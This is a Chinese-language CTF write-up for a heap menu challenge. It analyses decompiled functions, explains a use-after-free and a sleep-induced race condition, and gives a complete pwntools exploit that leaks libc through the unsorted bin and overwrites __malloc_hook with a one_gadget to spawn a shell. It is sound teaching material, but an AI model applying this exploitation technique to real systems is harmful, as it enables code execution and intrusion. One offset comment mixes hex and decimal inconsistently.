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题目分析题目分析

题目提供了：可执行文件、libc.so.6两个文件。下面开始分析，首先运行程序，如下图所示：

这是一道菜单题目，可以添加、删除、运行。是一道在堆上的题目。然后用IDA分析程序的流程。

首先看看主函数（main），对其中的部分函数做了重命名（在图中红框内函数），可以参照修改。

主函数
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主函数循环执行，直到遇到exit()。首先是运行welcome_broad()输出菜单，然后运行c_input()读取输入选择的序号，根据序号分
别对应运行c_malloc()、c_free()、c_run()。

welcome_broad()

c_malloc()

unsigned __int64 c_malloc()
{
  int v0; // ST04_4
  char s; // [rsp+10h] [rbp-110h]
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(&s, 0, 0x100uLL);
  puts("index:");
  v0 = c_input();
  chuck[v0] = malloc(0xA0uLL); // 分配
  puts("content:");
  read(0, chuck[v0], 0xA0uLL); // 写入
  return __readfsqword(0x28u) ^ v3;
}

c_malloc()首先要求输入index作为堆的序号（存储在v0），然后分配0xA0空间。接着要求输入content，向堆写入0xA0个字符。

c_free()



unsigned __int64 c_free()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("index:");
  v1 = c_input();
  if ( v1 < 0 || v1 > 31 || !chuck[v1] )
    exit(0);
  free(chuck[v1]);
  chuck[v1] = 0LL;
  return __readfsqword(0x28u) ^ v2;
}

要求输入free的堆序号，if条件语句验证序号范围以及堆是否存在。通过条件判断后，free chuck，chuck = 0

c_run()

unsigned __int64 c_run()
{
  int v1; // [rsp+8h] [rbp-18h]
  pthread_t newthread; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index:");
  v1 = c_input();
  if ( v1 < 0 || v1 > 31 || !chuck[v1] )
    exit(0);
  pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, chuck[v1]);
  sleep(1u);
  return __readfsqword(0x28u) ^ v3;
}

要求输入堆序号，然后if语句检查序号范围以及堆是否存在。通过条件判断后，创建一个线程，将堆作为start_routine参数，运行
start_routine。

start_routine

unsigned __int64 __fastcall start_routine(void *a1)
{
  signed int i; // [rsp+14h] [rbp-2Ch]
  __int64 v3; // [rsp+18h] [rbp-28h]
  char buf; // [rsp+20h] [rbp-20h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("input key:");
  read(0, &buf, 0x14uLL);
  v3 = atoll(&buf);
  sleep(3u);
  for ( i = 0; i <= 19; ++i )
    *((_QWORD *)a1 + i) ^= v3;
  puts((const char *)a1);
  puts("done");
  return __readfsqword(0x28u) ^ v5;
}



要求我们输入一个key，最大长度为0x14，输入后将其转化为数值型。程序休眠3秒。循环遍历地将堆中值与key（v3）异或，之
后输出堆中值。

漏洞分析漏洞分析

题目的漏洞之一，就是在c_free()。在函数中，释放指针之后没有将其堆空间清空。也就是UAF（use after free）漏洞，释放重
用漏洞。

漏洞原理：释放后的指针没有赋值为空，在其他地方再次申请到这块内容并改变其的内容，而再次使用到之前释放后的指针，就

会造成程序的结果变得不正确。如果这个释放的指针中有函数指针等重要数据，同时在其他的地方修改成精心构造的数据，就可

能泄露数据，劫持控制流。

在本题中，用来泄露出堆地址和libc地址。

堆知识补充堆知识补充

先补充一点堆结构的知识。关于堆的基本知识，推荐先在该网站进行了解：

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/introduction/

在linux的内存管理中，主要是通过bins数组和链表来管理各个堆块，分别有fastbin，unsortedbin，smallbin等等（这里主要
介绍fastbin、unsortedbin）。其中fd和bk只有释放堆块才有效，同时NMP是三个标志位，P代表前一个堆块是否释
放，pre_size前一个堆块的大小。

fastbin

释放的堆块会被首先放入到fastbin中。如果fastbin被填满，堆块被放入unsortedbin中。fastbin采用单向链表结构，也就是
chunk结构中fd、bk两个指针只用到fd指针。在进行堆分配时，采用FILO的顺序从fastbin向下取堆块。

unsortedbin

unsortedbin采取的是双向链表，也就是fd，bk指针都被使用到。堆块放入unsortedbin后，linux会向fd，bk中填入libc中的指针
值。chunk从链表取下后，若未执行memset等清零操作，将读取到链表的指针，本题就是使用unsortedbin的双向链表，泄露出
bk指针指向的堆地址。

题目的漏洞之二，就是在c_run()函数下用于创建线程的start_routine函数。在获取key之后，没有马上进行异或操作，而是等待了
3s，形成了条件竞争。

条件竞争知识补充条件竞争知识补充



定义：竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。开发者在进行

代码开发时常常倾向于认为代码会以线性的方式执行，而且他们忽视了并行服务器会并发执行多个线程，这就会导致意想不到的

结果。

例1：金额提现

假设现有一个用户在系统中共有2000元可以提现，他想全部提现。于是该用户同时发起两次提现请求，第一次提交请求提现
2000元，系统已经创建了提现订单但还未来得及修改该用户剩余金额，此时第二次提现请求同样是提现2000元，于是程序在还
未修改完上一次请求后的余额前就进行了余额判断，显然如果这里余额判断速度快于上一次余额修改速度，将会产生成功提现的

两次订单，而数据库中余额也将变为-2000。而这产生的后果将会是平台多向该用户付出2000元。

解题思路解题思路

解题思路概述解题思路概述

我们形成的基本利用思路是：

1. 泄露出堆地址，libc地址

2. 控制堆块的fd指针，造成任意读写，将__malloc_hook修改为one_gadget

解题思路验证解题思路验证

我们首先要泄露出堆地址，libc地址。也就是我们要先让一个堆块被放入到unsortedbin中，linux向其中的fd，bk写入相关地址。

先尝试malloc出9个堆块：

[DEBUG] Received 0x16 bytes:
    '1.malloc\n'
    '2.free\n'
    '3.run\n'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x7 bytes:
    'index:\n'
[DEBUG] Sent 0x2 bytes:
    '9\n'
[DEBUG] Received 0x9 bytes:
    'content:\n'
[DEBUG] Sent 0xa0 bytes:
    '\x00' * 0xa0

然后一个个free chunk，看看第几个chunk会被放入到unsorted bin中。



fastbin中放入了7个chunk之后，第八个chunk被放入到unsorted bin中。我们看看被放在unsorted bin中的fd， bk，是否被写入相
应的内存地址。

fd，bk被写入同一个内存地址。查看该地址的内存空间，发现是main_arena+96的地址。

libcbase的真实地址就可以由main_arena+96地址计算出来：

main_arena_addr = main_arena+96 - 0x96
#在libc中，main_arena位于__malloc_hook+0x10处
__malloc_hook_addr = main_arena_addr - 0x10
#libc_elf.symbols['__malloc_hook']是__malloc_hook在libc的偏移地址
libc_base_addr = main_arena_addr - libc_elf.symbols['__malloc_hook']
--------------------------总结----------------------------------------
libc_addr = main_aren_addr-0x96-0x10-libc_elf.symbols['__malloc_hook']

在获取了libc基地址后，就很容易获取到__malloc_hook、one_gadget的地址，方便后面将前者替换为后者。

那么现在怎么将__malloc_hook替换为one_gadget？



首先unsorted bin中的fd指向前一个堆的fd，我们可以修改通过一个堆块的fd值为__malloc_hook的内存地址，然后free两个
chunk，后面的chunk fd指向了__malloc_hook的内存地址。

前面我们提到在创建线程运行时，存在条件竞争。程序等待3s之后，才会进行异或操作。

那就尝试一下利用：

1. malloc一个前8字节为0的chunk(方便异或)

2. 选择运行这个chunk，传入key为__malloc_hook地址

3. free chunk

可见bin中有两个chunk，后面一个chunk指向了__malloc_hook地址。效果图：

（图上错误，正确应该指向了0x7ffff7bb0c30）

我们获得了这个fd指针，接下来就要替换函数地址了。

1. 由于bin是前进后出，就需要先将前面chunk申请出来

2. 然后申请chunk（fd指向了__malloc_hook）申请出来，赋值内容为one_gadget地址。

3. 然后再次申请一个chunk触发__malloc_hook，获取到shell

解题过程解题过程

# coding:utf-8
from pwn import*
context.log_level=True
p=process('./pwn')
elf=ELF('pwn')
libc=ELF('libc.so.6') # 加载函数库文件

#gdb.attach(p)
#raw_input()



def add(id,x):
    # 正常情况下申请chunk
 p.recvuntil('3.run\n')
 p.sendline('1')
 p.recvuntil('index:\n')
 p.sendline(str(id))
 p.recvuntil('content:\n')
 p.send(x)
def add1(id,x):
    # 调用run之后申请chunk
 p.sendline('1')
 p.recvuntil('index:\n')
 p.sendline(str(id))
 p.recvuntil('content:\n')
 p.send(x)
def free(id):
 p.recvuntil('3.run\n')
 p.sendline('2')
 p.recvuntil('index:\n')
 p.sendline(str(id))
def run(id,key):
 p.recvuntil('3.run\n')
 p.sendline('3')
 p.recvuntil('index:\n')
 p.sendline(str(id))
 p.recvuntil('input key:\n')
 p.sendline(str(key))

# ----------------泄露堆地址、libc地址    
# 申请8个chunk    
add(0,'0'*0xa0)
add(1,'1'*0xa0)
add(2,'2'*0xa0)
add(3,'3'*0xa0)
add(4,'4'*0xa0)
add(5,'5'*0xa0)
add(6,'6'*0xa0)
add(7,'7'*0xa0)

# free to Tcachebins
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
free(7)

# free to unsorted bin
free(0)

# 先进后出倒序申请chunk
add(7,'\0'*0xa0)
add(6,'\0'*0xa0)
add(5,'\0'*0xa0)
add(4,'\0'*0xa0)
add(3,'\0'*0xa0)
add(2,'\0'*0xa0)
add(1,'\0'*0xa0)



add(1,'\0'*0xa0)

# 向chunk 0 写入8个字符用于表示，虽然fd指针被损坏，但是bk与fd指向一样
add(0,'a'*8)
run(0,0)
p.recvuntil('a'*8)# 接受chunk 0 标记字符

# 这里其实是接收mian_arena地址。由于地址最后两位为\x00接受不到，就接收前6位，然后以左对齐的方式补上最后两位
libcbase = u64(p.recv(6).ljust(8,'\x00'))
# 计算出真正的libc基地址
# 公式：libc_addr = main_aren_addr-0x96-0x10-libc_elf.symbols['__malloc_hook']
libcbase = libcbase-0x96-0x10-libc.symbols['__malloc_hook']

# malloc地址
malloc=libcbase+libc.symbols['__malloc_hook']

#one_gadget在libc的偏移，可利用github的one_gadget工具得到
one=libcbase+0x4f322

# ----------------替换函数地址
p.sendline('3')#run
p.recvuntil('index:\n')
p.sendline('0')#run chunk 0
p.recvuntil('input key:\n')
# key为malloc地址，确保chunk 0前8个字节为0，异或出来才是正确的地址。大佬当我们没说
p.sendline(str(malloc))
# ----------------条件竞争
free(0)

sleep(3)# 等待异或
p.recvuntil('done\n') # 异或完成

# ----------------控制fd指针
add1(11,'\0'*0xa0)# 申请无用堆块 

add(12,p64(one))# 申请fd指向malloc堆块，写入onegadget地址

# malloc变成onegadget
# 调用malloc
p.recvuntil('3.run\n')
p.sendline('1')
p.recvuntil('index:\n')
p.sendline(str(13))

p.interactive()
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